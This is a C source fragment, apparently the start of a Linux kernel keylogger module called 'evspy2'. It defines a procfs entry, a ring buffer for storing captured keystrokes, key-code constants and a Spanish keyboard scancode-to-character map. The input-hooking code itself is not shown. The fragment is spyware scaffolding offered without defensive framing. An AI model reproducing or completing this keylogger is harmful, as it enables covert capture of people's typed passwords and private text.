//#define pr_fmt(fmt) KBUILD_MODNAME ": " fmt #define PROCNAME "driver/evspy2" #define BUFSIZE PAGE_SIZE #define MIN(x, y) (x) < (y) ? (x) : (y) #define incp(p) \ ({ \ if (p == &buffer[BUFSIZE-1]) \ p = buffer; \ else \ p++; \ p; \ }) #define ins(c) \ ({ \ *wrp = c; \ if (incp(wrp) == rdp) \ incp(rdp); \ }) #define isfX(c) \ ({ \ (c >= F1 && c <= F10) || (c == F11 || c == F12); \ }) #define EV_BLKMAYUS 17 #define FREE 0 #define PRESS 1 #define HOLD 2 #define ESC 1 #define TAB 15 #define LCTRL 29 #define LMAYUS 42 #define DOT 52 #define RMAYUS 54 #define ALT 56 #define BLKMAYUS 58 #define F1 59 #define F10 68 #define F11 87 #define F12 88 #define RCTRL 97 #define ALTGR 100 #define UP_AR 103 #define DOWN_AR 108 #define LEFT_AR 105 #define RIGHT_AR 106 static char map_es[] = { '.', '.', '1', '2', '3', //0 // 1:ESC '4', '5', '6', '7', '8', //5 '9', '0', '\'', '!', '\b', //10 // 13:¡ (NOASCII) '.', 'q', 'w', 'e', 'r', //15 // 15:TAB 't', 'y', 'u', 'i', 'o', //20 'p', '`', '+', '\n', '.', //25 // 29:LCTRL 'a', 's', 'd', 'f', 'g', //30 'h', 'j', 'k', 'l', 'n', //35 // 39:ñ (NOASCII) '\'', '.', '.', 'c', 'z', //40 // 42:LMAYUS 43:ç (NOASCII) 'x', 'c', 'v', 'b', 'n', //45 'm', ',', '.', '-', '.', //50 // 52:. 54:RMAYUS '*', '.', ' ', '.', '.', //55 // 56:ALT 58:BLKMAYUS 59-68:F1-F10 '.', '.', '.', '.', '.', //60 '.', '.', '.', '.', '.', //65 '.', '7', '8', '9', '-', //70 '4', '5', '6', '+', '1', //75 '2', '3', '.', '.', '.', //80 '.', '<', '.', '.', '.', //85 '.', '.', '.', '.', '.', //90 '.', '\n', '.', '/', '.', //95 // 97:RCTRL '.', '.', '.', '.', '.', //100 // 100:ALTGR 103:up_arrow '.', '.', '.', '.', '.', //105 // 105:lft_arrow 106:rgt_arrow 108:down_arrow };